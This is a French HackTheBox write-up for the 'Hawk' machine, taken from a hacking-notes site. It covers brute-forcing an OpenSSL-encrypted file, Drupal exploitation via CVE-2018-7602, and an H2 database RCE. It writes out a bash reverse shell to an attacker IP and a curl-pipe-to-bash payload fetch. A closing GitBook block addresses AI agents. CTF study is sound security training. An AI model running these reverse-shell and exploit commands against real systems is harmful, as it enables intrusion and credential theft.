> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Compte rendu HackTheBox de Hawk {% embed url="" %} {% hint style="warning" %} **Compétences :** * Brute force et déchiffrement du chiffrement OpenSSL * Énumération/Exploitation de Drupal * Exploitation de la base de données H2 {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérification de la connexion VPN pour garantir une communication stable avec la machine cible

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation dans le fichier "allPorts" du répertoire Nmap. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (21,22,80,5435,9092)

#### Scan de version des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```

### Port 21 - FTP Nous nous connectons en tant que **anonymous** utilisateur et découvrons un fichier caché appelé `.drupal.txt.enc`.

## Brute force - Openssh (.enc) > Le **.enc** l'extension indique généralement un fichier **encodé** (chiffré). Elle sert à indiquer que le contenu du fichier a été protégé par un algorithme de chiffrement, rendant les données illisibles sans la clé ou le mot de passe approprié. Ces fichiers peuvent contenir n'importe quel type de données (texte, images, vidéos, etc.) et sont couramment utilisés pour sécuriser des informations sensibles. Le `.enc` Le fichier est chiffré avec un algorithme **AES-256-CBC** et encodé en **Base64**.

**Étape 1 : Décodage Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```

**Étape 2 : Déchiffrement avec OpenSSL** Pour déchiffrer le fichier, nous avons besoin d'un mot de passe. Voici la commande pour tenter un déchiffrement manuel : ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```

**Étape 3 : Script d'automatisation pour le brute force** Nous utilisons un script Bash pour tester une liste de mots de passe (par ex. `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Sortie.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] Le mot de passe est : $password/n" exit 0 fi done; tput cnorm ``` **Résultat :** Le mot de passe trouvé est : **amis**

#### **Message déchiffré** Le fichier déchiffré contient un nouveau mot de passe : ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 amis ``` * **PencilKeyboardScanner123**

## Port 80 - HTTP Le port 80 héberge un CMS Drupal 7. ```bash whatweb 10.10.10.102 ```

**Authentification - Accès avec mot de passe** Essayez de vous connecter avec le `PencilKeyboardScanner123` mot de passe de l'utilisateur `admin` et l'authentification réussit.

### Reverse shell - Drupal 7 Nous utiliserons le script suivant pour exécuter des commandes sur un serveur Drupal inférieur à la version 7 (CVE-2018-7602) : {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` Cette commande vous permet d'exécuter la `id` commande sur le serveur.

**Accès au serveur**/ Pour établir l'accès au serveur, nous devons écouter le port 443 avec `nc` ```bash nc -nvlp 443 ``` Ensuite, vous créez un `index.html` fichier avec le contenu suivant pour établir un shell reverse : ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Serveur web et exécution de commandes**/ Lance un serveur HTTP avec Python : ```bash python3 -m http.server 80 ``` Ensuite, envoyez la commande suivante pour télécharger et exécuter le script : ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```

**Stabilisation du terminal** Pour gérer le terminal, les commandes suivantes sont utilisées : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Drapeau user.txt :)

## **Élévation de privilèges** En explorant le répertoire web à `/var/www/html`, vous pouvez voir plusieurs fichiers de configuration. Parmi eux, un fichier intéressant est identifié :

**Chemin :** `sites/default/settings.php` En examinant ce fichier, nous trouvons des informations sensibles : * Nom d'utilisateur : drupal * Mot de passe : drupal4hawk

Ces identifiants permettent de se connecter à la base de données MySQL. Pour ce faire, les commandes suivantes sont utilisées : ```bash mysql -u drupal -p ```

Après avoir saisi le mot de passe, toutes les bases de données disponibles sont listées, puis la base de données associée à Drupal est sélectionnée : ```sql show databases; use drupal; ``` Une fois dans la base de données, nous explorons le contenu de la `users` table pour trouver des informations intéressantes : ``` SELECT * FROM users; ``` Dans cette table, nous trouvons un mot de passe haché associé à un utilisateur :

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Brute force avec John - Mot de passe haché Utiliser John pour casser le hachage du mot de passe ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Cependant, dans ce cas précis, aucune correspondance n'a été trouvée dans la `rockyou.txt` liste de mots de passe. ### Sortir de Python vers Bash normal Nous avons accédé au serveur en tant que `daniel` utilisateur avec un mot de passe associé à la base de données (dans cet exemple, **drupal4hawk**). Voici la commande pour se connecter : ```bash ssh daniel@10.10.10.182 ``` Mot de passe : **drupal4hawk** Une fois connecté, nous sommes directement dans un interpréteur Python.

Pour revenir à un shell Bash normal, nous pouvons utiliser le `os` pour exécuter une commande Bash. Voici les étapes : 1. Importer le module `os` : ```python import os ``` 2. Exécutez un shell Bash : ```python os.system('/bin/bash') ``` Cela vous permettra d'accéder à un shell Bash normal depuis l'interpréteur Python.

## Exploitation de la base de données H2 /*/* Analyse des ports ouverts/*/* Pour commencer, nous listons les ports ouverts en interne à l'aide de la commande suivante : ```bash netstat -tuln ``` Nous identifions que le port **8082** est ouvert et héberge un service. En l'analysant, nous découvrons qu'il s'agit d'un CMS de base de données : **Base de données H2**.

Pour accéder à ce service depuis notre machine, nous effectuons une redirection de port avec **SSH**, redirigeant le port interne 8082 vers le port 8082 de notre machine locale :

### Redirection de port Pour accéder à ce service depuis notre machine, nous effectuons une redirection de port avec **SSH**, redirigeant le port interne 8082 vers le port 8082 de notre machine locale : ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### Base de données H2 :

Nous utilisons **searchsploit** pour rechercher des vulnérabilités connues associées à H2 Database :

``` searchsploit -m java/webapps/45506.py ``` Nous trouvons une faille intéressante permettant l'exécution de commandes à distance : ```bash python3 45506.py -H 127.0.0.1:8082 ```

### Drapeau root.txt :) Le script nous permet d'exécuter des commandes sur la machine cible. En naviguant dans le système, nous récupérons le **flag root.txt**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.